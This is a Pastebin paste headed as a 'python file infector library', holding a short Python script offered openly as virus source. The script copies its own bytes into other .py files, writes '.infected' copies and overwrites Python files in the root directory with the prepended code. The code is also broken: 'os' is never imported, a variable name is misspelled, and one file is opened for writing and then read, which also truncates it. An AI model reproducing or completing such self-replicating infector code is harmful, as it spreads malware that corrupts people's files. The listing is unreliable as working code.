KekSec420

python file infector library coded by Freak

Oct 2nd, 2025
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.66 KB | Cybersecurity | 0 0
  1. def infectFile(file):
  2.     print("[.] Infecting " + file + "\n\n")
  3.     fh = open(__file__, "rb")
  4.     data = fh.read()
  5.     fh.close()
  6.     fh = open(file,"rb")
  7.     data2=fh.read()
  8.     fh.close()
  9.     fh=open(file+".infected", "a+")
  10.     fh.write(data+"\r\n"+data2)
  11.     fh.close()
  12.     return 1
  13.  
  14. for file in os.listdir("/"):
  15.     if file.endswith(".py"):
  16.         fh=open(file, "rb")
  17.         data=fh.read()
  18.         fh.close()
  19.         filE=open(file,"wb")
  20.         filEdata = filE.read()
  21.         fileE.close()
  22.         fulldata=""
  23.         fulldata+=data+"\r\n\r\n"+filEdata
  24.         fh=open(file,"wb")
  25.         fh.write(fulldata)
  26.         fh.flush()
  27.         fh.close()
Advertisement
Add Comment
Please, Sign In to add comment